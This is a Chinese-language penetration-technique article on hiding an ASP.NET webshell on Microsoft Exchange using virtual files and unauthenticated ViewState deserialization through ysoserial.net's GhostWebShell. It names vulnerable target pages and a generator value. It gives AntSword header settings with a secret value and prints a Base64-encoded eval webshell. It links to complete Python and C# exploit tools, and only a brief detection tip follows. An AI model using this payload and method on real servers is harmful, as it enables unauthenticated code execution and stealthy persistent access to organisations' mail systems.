渗透技巧——利用虚拟文件隐藏ASP.NET Webshell
2021-05-09 10:25:22 Author: www.4hou.com(查看原文) 阅读量:252 收藏

0x00 前言

通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.netGhostWebShell.cs提供了一种可供学习的利用思路。

本文将要介绍虚拟文件的利用方法,在ysoserial.netGhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· VirtualPathProvider在Exchange下的利用

· DotNet反序列化在Exchange下的利用

· 防御检测

0x02 VirtualPathProvider在Exchange下的利用

参考资料:

https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8

在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建

示例代码:

1.png

image.png

通过这种方式实现的Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够。

而利用ysoserial.netGhostWebShell.cs恰恰能够解决这个问题,提高隐蔽性。

0x03 DotNet反序列化的利用

参考代码:

https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

测试环境:

image.png

对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据。

这里选择%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx,对应的generator为042A94E8

使用ysoserial.net生成ViewState的参数如下:

image.png

使用如下代码发送ViewState:

1.pngimage.png

一句话的测试代码:

image.png

使用AntSword连接时,需要设置HTTP HEADERS,内容如下:

Name:  Value
Value: 00HGAT3K0AXHV2RF2W0G

Base64后的字符为:

PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=

替换GhostWebShell.cs中的webshellContentsBase64。

完整的Python实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/ExchangeDeserializeShell-NoAuth-ghostfile.py

代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx,能够自动生成带有Webshell功能的GhostWebShell.cs,使用ysoserial.net生成ViewState并发送。

完整的C#实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ghostfile.cs

代码功能同上,可直接编译并执行,不再依赖ysoserial.net

注:

为了便于在Exchange下进行测试,我将GhostWebShell.cs修改成了aspx文件,可以直接访问进行测试,代码地址如下:

https://github.com/3gstudent/test/blob/master/PageLoad_ghostfile.aspx

0x04 防御检测

利用虚拟文件创建的ASP.NET Webshell,不再需要写入aspx文件,在防御上可监控临时目录下产生的编译文件,默认位置:

image.png

需要注意的是攻击者在产生编译文件后可以进行删除。

0x05 小结

本文介绍了虚拟文件的利用方法,针对Exchange环境,分别介绍了VirtualPathProvider和DotNet反序列化的利用,给出防御建议。

本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/pB6Q
如有侵权请联系:admin#unsafe.sh